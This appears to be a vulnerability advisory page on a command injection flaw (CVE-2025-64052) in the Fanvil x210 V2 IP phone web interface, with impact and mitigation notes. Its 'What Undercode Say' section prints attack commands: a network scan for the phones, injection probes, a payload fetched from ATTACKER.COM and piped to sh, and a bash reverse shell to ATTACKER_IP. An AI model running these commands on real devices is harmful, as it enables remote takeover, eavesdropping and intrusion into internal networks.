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How the CVE-2025-64052 Vulnerability Works
The CVE-2025-64052 vulnerability is a critical command injection flaw in the Fanvil x210 V2 IP phone’s web management interface. It resides in a specific CGI script file accessible on the device’s local network service. Attackers on the same local network can send unauthenticated HTTP GET requests to this vulnerable endpoint. The exploit works by injecting arbitrary operating system commands through a poorly sanitized request parameter. The script, which likely handles system configuration or diagnostics, directly concatenates user-supplied input into a system shell command without proper validation or escaping. This allows an attacker to append their own commands using shell metacharacters like semicolons (;), backticks (`), or the pipe operator (|). When the script is executed by the web server process, which runs with elevated system privileges, the injected commands are run with those same permissions. This grants the attacker complete control over the underlying Linux-based operating system of the IP phone. The attack can be performed remotely without any login credentials, requiring only network access to the device’s web port. Successful exploitation results in full root-level command execution, enabling attackers to install malware, manipulate call functions, use the device as a network pivot, or render the phone permanently inoperable.
DailyCVE Form
Platform: Fanvil x210 V2
Version: 2.12.20
Vulnerability : Command Injection
Severity: Critical
date: 2025-12-05
Prediction: 2026-01-15
What Undercode Say:
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Network Discovery for Vulnerable Devices
nmap -sV -p 80,443 --script http- 192.168.1.0/24 | grep -i fanvil
Curl Request to Test for Vulnerability
curl -s "http://<TARGET_IP>/cgi-bin/[...].cgi?parameter=';id;'"
Proof-of-Concept Exploit Command
curl -s "http://<TARGET_IP>/vulnerable.cgi?cmd=;curl${IFS}ATTACKER.COM/m.sh|sh;"
Post-Exploitation: Establishing a Reverse Shell
curl "http://<TARGET_IP>/cgi-bin/exploit.cgi?param=|bash${IFS}-c${IFS}'bash${IFS}-i${IFS}>&${IFS}/dev/tcp/ATTACKER_IP/PORT${IFS}0>&1'"
How Exploit:
- Reconnaissance: Identify a Fanvil x210 V2 (version 2.12.20) on the local network.
- Request Crafting: Send an unauthenticated HTTP request to the vulnerable CGI endpoint.
- Command Injection: Append a system command to a parameter using shell metacharacters (e.g.,
; cat /etc/passwd). - Execution: The device’s web service executes the concatenated command with high privileges.
- Persistence: Use the initial access to download and execute a malicious payload for persistent control.
Protection from this CVE
Immediate Action: Physically segment or firewall IP phones from general user networks.
Patch Application: Apply the official firmware patch from Fanvil immediately upon release.
Network Policy: Implement strict inbound firewall rules to the device’s web interface.
Vendor Update: Subscribe to Fanvil security advisories for vulnerability notifications.
Impact:
Total Device Compromise: Attackers gain full root shell access to the IP phone.
Eavesdropping Risk: Potential to intercept or redirect voice traffic and calls.
Network Pivot: The compromised device can be used to attack other internal network systems.
Denial of Service: Attackers can brick the device, disrupting business communications.
Loss of Integrity: Firmware and configuration can be maliciously altered.
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Sources:
Reported By: nvd.nist.gov
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